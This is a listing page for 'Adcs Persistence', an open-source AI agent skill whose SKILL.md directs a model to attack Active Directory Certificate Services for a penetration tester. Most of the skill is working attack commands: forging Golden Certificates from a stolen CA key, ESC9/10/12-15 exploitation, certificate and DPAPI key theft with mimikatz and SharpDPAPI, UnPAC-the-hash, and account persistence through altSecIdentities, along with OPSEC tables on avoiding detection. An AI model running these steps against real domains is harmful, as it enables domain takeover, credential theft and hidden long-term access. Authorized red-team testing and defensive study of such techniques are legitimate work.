Adcs Persistence logo

Adcs Persistence

Organization
blacklanternsecurity
adcs-persistence

Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill nameadcs-persistence
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Adcs Persistence AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/ad/adcs-persistence .claude/skills/adcs-persistence
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Adcs Persistence in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Adcs Persistence on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Adcs Persistence is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

ADCS Persistence & Certificate Mapping Attacks

You are helping a penetration tester establish persistence through AD CS certificate abuse and exploit weak certificate mapping configurations. All testing is under explicit written authorization.

Kerberos-first authentication: Certificate authentication uses PKINIT (pure Kerberos) by default. Post-exploitation operations use ccache-based Kerberos to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [adcs-persistence] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Varies by technique (see individual sections)
  • Tools: certipy, Certify.exe, ForgeCert, mimikatz, SharpDPAPI, Rubeus, openssl

Kerberos-first workflow:

bash
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache

Tool output directory: getTGT.py, certipy req, certipy auth, and certipy shadow all write output files to CWD with no output-path flag. Always prefix these commands with cd $TMPDIR && to keep files out of the working directory. getTGT.py does NOT support -out — CWD is the only control. When saving evidence, use mv (not cp) to avoid stray duplicates:

bash
mv $TMPDIR/administrator.pfx engagement/evidence/administrator-esc9.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator-esc9.ccache

Overview: Technique Selection

TechniqueAccess RequiredPersistence DurationOPSEC
Golden CertificateCA admin / CA server accessUntil CA cert expires (5-10+ years)Medium
User cert persistenceAny userUntil cert expires (1-2 years, renewable)Low
Machine cert persistenceSYSTEM on targetUntil cert expiresLow
altSecIdentities mappingWrite on target userUntil mapping removedLow
Enrollment agentEnrollment Agent template accessUntil agent cert revokedMedium
ESC9/10 mapping bypassGenericWrite + weak mapping configPer-certificate lifetimeMedium
ESC13 issuance policyEnrollment rights on linked templatePer-certificate lifetimeLow
ESC14 explicit mappingWrite on target altSecIdentitiesUntil mapping removedLow
ESC15 application policiesSchema v1 template with ESSPer-certificate lifetimeMedium
Certificate theftAccess to cert store / DPAPI keysUntil cert expires or revokedLow-Medium

Decision tree

What do you have?
├── CA server access or CA admin → Golden Certificate (Step 1)
├── Any domain user → User cert persistence (Step 2)
├── SYSTEM on a machine → Machine cert persistence (Step 2) + cert theft (Step 4)
├── GenericWrite on accounts + weak mapping → ESC9/10 (Step 3)
├── Write on altSecIdentities → ESC14 / explicit mapping (Step 5)
├── Enrollment rights on OID-linked template → ESC13 (Step 6)
├── Schema v1 template with ESS → ESC15 (Step 7)
├── CA uses YubiHSM → ESC12 (Step 8)
└── Want to steal existing certs → Certificate theft (Step 4)

Step 1: Golden Certificate

Forge certificates signed with the stolen CA private key. Valid until the CA certificate expires (typically 5-10+ years). Cannot be revoked (unknown to CA database). The most powerful ADCS persistence mechanism.

Obtain CA certificate with private key

bash
# Certipy — backup CA cert + key (requires CA admin)
certipy ca -k -no-pass -target CA.DOMAIN.LOCAL -ca 'DOMAIN-CA' -backup

# certutil (on CA server)
certutil -backupKey -f -p 'BackupPassword' C:\Windows\Tasks\ca-backup

# Mimikatz (on CA server — patch CAPI/CNG then export)
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

# GUI: certsrv.msc → Right-click CA → All Tasks → Back up CA
# Check "Private key and CA certificate"

Forge certificate for any user

bash
# Certipy — forge with SID (required for KB5014754 Full Enforcement)
certipy forge -ca-pfx DOMAIN-CA.pfx \
  -upn administrator@domain.local \
  -sid 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500' \
  -crl 'ldap:///'

# Certipy — copy extensions from existing certificate template
certipy forge -template existing-cert.pfx -ca-pfx DOMAIN-CA.pfx \
  -upn administrator@domain.local \
  -sid 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500'

# ForgeCert (C# / Windows)
ForgeCert.exe --CaCertPath DOMAIN-CA.pfx --CaCertPassword 'BackupPass' \
  --Subject "CN=Administrator" --SubjectAltName administrator@domain.local \
  --NewCertPath admin_forged.pfx --NewCertPassword 'CertPass'

# Certify (C# / Windows)
Certify.exe forge --ca-cert DOMAIN-CA.pfx --ca-cert-password 'BackupPass' \
  --upn administrator@domain.local \
  --sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500

Critical parameters:

  • -crl 'ldap:///': CRL distribution point — KDC checks for CDP presence and errors without it. Always include.
  • -sid: Object SID — required for KB5014754 Full Enforcement (Feb 2025). Without it, PKINIT fails on modern DCs.
  • -template: Copy Key Usage, Basic Constraints, and AIA extensions from an existing certificate for better stealth.

Authenticate with forged certificate

bash
# Certipy — PKINIT auth
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP

# Rubeus
Rubeus.exe asktgt /user:administrator /certificate:admin_forged.pfx \
  /password:CertPass /ptt

# If PKINIT fails — LDAPS fallback
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP -ldap-shell

Step 2: User and Machine Certificate Persistence

Request legitimate certificates that survive password changes and provide persistent access for the certificate lifetime (1-2 years, renewable).

User certificate persistence

bash
# Request certificate as current user (User template)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -template User

# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User

# Authenticate later (survives password changes)
certipy auth -pfx user.pfx -dc-ip DC_IP

Machine certificate persistence

bash
# Request as machine account (requires SYSTEM)
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:Machine /machine

# Authenticate — enables S4U2Self for service tickets
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:machine.pfx \
  /password:CertPass /ptt

Certificate renewal (extend persistence)

bash
# Renew before expiration — avoids new enrollment artifact
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template User -pfx user_old.pfx -renew -out user_renewed.pfx

# Windows native
certreq -enroll -user -cert SERIAL_OR_ID renew reusekeys

Renewed certificates automatically include the SID security extension, maintaining compatibility with KB5014754 Full Enforcement.

Step 3: ESC9 and ESC10 — Weak Certificate Mapping

These exploit weak certificate-to-account mapping configurations to authenticate as a different user than the certificate owner.

ESC9: No Security Extension

Conditions: StrongCertificateBindingEnforcement = 0 or 1 (default), template has CT_FLAG_NO_SECURITY_EXTENSION flag, template has client-auth EKU, attacker has GenericWrite over an intermediate account.

bash
# Step 1: Shadow credentials on intermediate account (get their hash)
certipy shadow auto -username attacker@domain.local -password 'Pass' \
  -account intermediate

# Step 2: Change intermediate's UPN to target
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn Administrator

# Step 3: Request certificate from ESC9-vulnerable template
certipy req -username intermediate@domain.local -hashes :INTERMEDIATE_HASH \
  -ca 'DOMAIN-CA' -template 'ESC9Template'

# Step 4: Restore intermediate's UPN
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local

# Step 5: Authenticate — cert maps to Administrator via UPN (no SID check)
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip DC_IP

ESC10: Weak Certificate Mapping Methods

Variant 1: StrongCertificateBindingEnforcement = 0 (no SID binding at all)

bash
# Same workflow as ESC9 but works with any template
certipy shadow auto -username attacker@domain.local -password 'Pass' \
  -account intermediate
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn administrator
certipy req -username intermediate@domain.local -hashes :HASH \
  -ca 'DOMAIN-CA' -template User
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local
certipy auth -pfx administrator.pfx -dc-ip DC_IP

Variant 2: CertificateMappingMethods includes UPN mapping (0x04)

bash
# Map to computer account by changing UPN to computer$@domain
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn 'DC$@domain.local'
certipy req -username intermediate@domain.local -hashes :HASH \
  -ca 'DOMAIN-CA' -template User
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local
# Authenticate — may need LDAP shell for machine accounts
certipy auth -pfx 'DC$.pfx' -dc-ip DC_IP -ldap-shell

Check mapping configuration

bash
# StrongCertificateBindingEnforcement (DC registry)
# 0 = no enforcement, 1 = compatibility (default pre-Feb 2025), 2 = full
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" \
  /v StrongCertificateBindingEnforcement

# CertificateMappingMethods (DC registry)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" \
  /v CertificateMappingMethods
# 0x04 = UPN mapping enabled (vulnerable)

Step 4: Certificate Theft

Steal existing certificates from compromised hosts. No new enrollment artifacts — uses existing certificates.

THEFT1: Export via Crypto APIs

bash
# Mimikatz — patch CAPI/CNG and export all certs
mimikatz.exe "crypto::capi" "crypto::cng" \
  "crypto::certificates /export /systemstore:CURRENT_USER"

# Machine certificates (requires SYSTEM)
mimikatz.exe "crypto::capi" "crypto::cng" \
  "crypto::certificates /export /systemstore:LOCAL_MACHINE"

THEFT2: User certificates via DPAPI

bash
# Locate private keys
# CAPI: %APPDATA%\Microsoft\Crypto\RSA\<User-SID>\
# CNG:  %APPDATA%\Microsoft\Crypto\Keys\

# Get DPAPI masterkey (in user context)
mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\<SID>\<GUID> /rpc"

# SharpDPAPI — automated user cert extraction
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out cert.pfx

THEFT3: Machine certificates via DPAPI

bash
# Requires SYSTEM access
# Machine keys: %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys
# CNG keys: %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys

# Extract DPAPI_SYSTEM LSA secret
mimikatz.exe "lsadump::secrets"
# Use DPAPI_SYSTEM to decrypt machine private keys

# SharpDPAPI — automated (escalates to SYSTEM internally)
SharpDPAPI.exe certificates /machine

THEFT4: Certificates from filesystem

bash
# Search for certificate files
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx,*.p12,*.pkcs12,*.pem,*.key

# Extract hash from password-protected PFX for offline cracking
pfx2john.py certificate.pfx > engagement/evidence/pfx-hash.txt

Do NOT crack hashes in this skill. Save the PFX hash to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (PFX / hashcat mode 12400), and a routing recommendation to credential-recovery.

THEFT5: UnPAC the Hash (NTLM from PKINIT)

Extract NT hash from a TGT obtained via certificate — no LSASS touch required.

bash
# Certipy — automatic UnPAC
certipy auth -pfx user.pfx -dc-ip DC_IP
# Output includes NT hash

# getnthash.py (PKINITtools)
export KRB5CCNAME=user.ccache
getnthash.py -key 'AS-REP-encryption-key' DOMAIN/user

# Rubeus
Rubeus.exe asktgt /user:target /certificate:cert.pfx \
  /password:CertPass /getcredentials

Step 5: ESC14 — altSecIdentities Explicit Mapping

Conditions: Write access to target's altSecurityIdentities attribute. Map your certificate to a victim account for persistent authentication.

Mapping formats

Strong mappings (KB5014754-compatible, preferred):

FormatExample
X509IssuerSerialNumberX509:<I>DC=local,DC=domain,CN=DOMAIN-CA<SR>1200000000AC11
X509SKIX509:<SKI>abc123def456...
X509SHA1PublicKeyX509:<SHA1-PUKEY>abc123def456...

Weak mappings (deprecated, may be rejected on modern DCs):

FormatExample
X509IssuerSubjectX509:<I>IssuerName<S>SubjectName
X509SubjectOnlyX509:<S>SubjectName
X509RFC822X509:<RFC822>user@domain.com

Exploitation

bash
# Step 1: Obtain a certificate (request as yourself)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -template Machine

# Step 2: Extract certificate identifiers for mapping
certutil -Dump -v attacker.pfx
# Note Issuer and Serial Number

# Step 3: Add explicit mapping to victim account
# PowerShell
$Serial = '1200000000AC11000000002B'  # Reversed byte order from certutil
$Issuer = 'DC=local,DC=domain,CN=DOMAIN-CA'
$Map = "X509:<I>$Issuer<SR>$Serial"
Set-ADUser -Identity 'administrator' -Add @{altSecurityIdentities=$Map}

# Stifle.exe (dedicated tool)
Stifle.exe add /object:administrator /certificate:cert.pfx /password:CertPass

# Step 4: Authenticate as victim using your certificate
certipy auth -pfx attacker.pfx -dc-ip DC_IP
Rubeus.exe asktgt /user:administrator /certificate:attacker.pfx /password:CertPass

Cleanup

bash
Set-ADUser -Identity 'administrator' -Remove @{altSecurityIdentities=$Map}

Step 6: ESC13 — Issuance Policy OID Group Link

Conditions: Template has issuance policy extension with OID linked to a group (typically Universal group). Enrollment rights granted. Client-auth EKU.

The certificate automatically grants membership in the linked group via issuance policy resolution.

bash
# Enumerate vulnerable templates (certipy shows OID links)
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

# Request certificate from template with OID group link
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'ESC13Template'

# Authenticate — TGT includes group membership from OID link
Rubeus.exe asktgt /user:user /certificate:esc13.pfx /password:CertPass /nowrap
certipy auth -pfx esc13.pfx -dc-ip DC_IP

Step 7: ESC15 — Application Policies Override (CVE-2024-49019)

Conditions: Schema version 1 template, ENROLLEE_SUPPLIES_SUBJECT set, no manager approval, authenticationenabled = False.

Application Policies extension overrides the template's EKU. Inject client-auth EKU into templates that normally only allow server-auth (like WebServer).

Variant 1: ESC1-like via WebServer template

bash
# Inject Client Authentication via application policies
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template WebServer -upn administrator@domain.local \
  --application-policies 'Client Authentication'

certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell

Variant 2: ESC3-like via Certificate Request Agent

bash
# Inject Certificate Request Agent OID
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template WebServer \
  --application-policies '1.3.6.1.4.1.311.20.2.1'

# Use agent cert to enroll on behalf of administrator
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template User -on-behalf-of 'DOMAIN\administrator' \
  -pfx agent.pfx

Note: Patched November 2024 (CVE-2024-49019). Only works on unpatched CAs.

Step 8: ESC12 — YubiHSM CA Key Extraction

Conditions: CA private key stored on YubiHSM2 device. Shell access on CA server.

bash
# Extract YubiHSM password from registry
reg query "HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword"

# Generate certificate for target user
certipy req -target CA.DOMAIN.LOCAL -username user@domain.local -password 'Pass' \
  -template User

# Repair certificate with CA private key via YubiHSM provider
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my CA-COMMON-NAME

# Sign certificate with SAN extension
certutil -sign ./user.crt new.crt @extension.inf

# Authenticate
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx

Step 9: KB5014754 — Strong Certificate Binding Enforcement

Since February 2025, DCs enforce strong certificate binding by default.

Impact on persistence techniques

TechniqueImpactWorkaround
Golden CertificateMust include SID in forged certUse -sid flag in certipy forge
User cert persistenceWorks (SID auto-included since May 2022)None needed
ESC9/10Blocked if enforcement = 2 (Full)Only works with enforcement 0 or 1
altSecIdentitiesStrong formats work, weak formats may be rejectedUse IssuerSerialNumber format
Enrollment agentWorks (cert maps to actual requester)None needed

Check enforcement level

bash
# On domain controller
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" \
  /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility mode, 2 = full enforcement (default Feb 2025)

Step 10: Escalate or Pivot

After establishing persistence:

  • Golden Certificate forged: Can impersonate any user indefinitely — route to credential-dumping for DCSync if needed
  • Certificates stolen: Use for lateral movement — route to pass-the-hash (with NT hash from UnPAC) or authenticate directly
  • ESC9/10 exploited: Escalate if additional templates are vulnerable
  • altSecIdentities mapped: Persistent access to specific accounts — use for ongoing access
  • Need domain-wide persistence: Combine golden cert + AdminSDHolder (acl-abuse) + golden ticket (kerberos-ticket-forging)

Troubleshooting

KDC_ERR_CERTIFICATE_MISMATCH (forged cert)

DC enforces strong certificate binding (KB5014754). Include -sid flag when forging: certipy forge -ca-pfx CA.pfx -upn admin@domain -sid S-1-5-21-...-500. Also include -crl 'ldap:///' for CDP extension.

PKINIT fails — KDC_ERR_PADATA_TYPE_NOSUPP

DC doesn't support PKINIT pre-auth. Use LDAPS/Schannel fallback: certipy auth -pfx cert.pfx -ldap-shell. From LDAP shell, set RBCD or modify attributes for alternative exploitation.

UnPAC returns empty hash

Certificate may not have PKINIT EKU, or DC's PAC_CREDENTIAL_INFO is empty. Try certipy auth -pfx cert.pfx -ldap-shell for LDAPS-based access instead.

Shadow credentials fails (ESC9/10)

Target account's msDS-KeyCredentialLink may be protected or monitored. Use targeted Kerberoasting or password change as alternative to shadow credentials for obtaining intermediate account access.

Certificate theft — non-exportable key

Mimikatz patches CAPI/CNG to bypass non-exportable flag: mimikatz.exe "crypto::capi" (current user) or "crypto::cng" (LSASS).

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

bash
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC comparison

TechniqueOPSECDetection Surface
Golden CertificateMediumCA backup event (if logged), forged cert not in CA DB
User cert persistenceLowStandard enrollment event (4887), blends with normal
Machine cert persistenceLowStandard enrollment, requires SYSTEM
Certificate theft (CAPI)LowIn-process patch, no LSASS touch
Certificate theft (CNG)MediumLSASS memory patch detected by EDR
Certificate theft (DPAPI)Low-MediumMasterkey access, no LSASS patch
ESC9/10MediumUPN change events (4738), shadow cred events
ESC14 mappingLowaltSecIdentities modification (5136)
ESC13 OID linkLowStandard enrollment, group membership in TGT
ESC15 app policiesMediumNon-standard application policy in cert request

Frequently asked questions

What does the Adcs Persistence AI skill do?

Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.

Why use Adcs Persistence on TypingMind?

Because you install it once and use it with any model. Adcs Persistence is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Adcs Persistence in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/adcs-persistence. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Adcs Persistence?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Adcs Persistence?

As many as you like. As long as a model supports skills, you can use Adcs Persistence with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Adcs Persistence AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇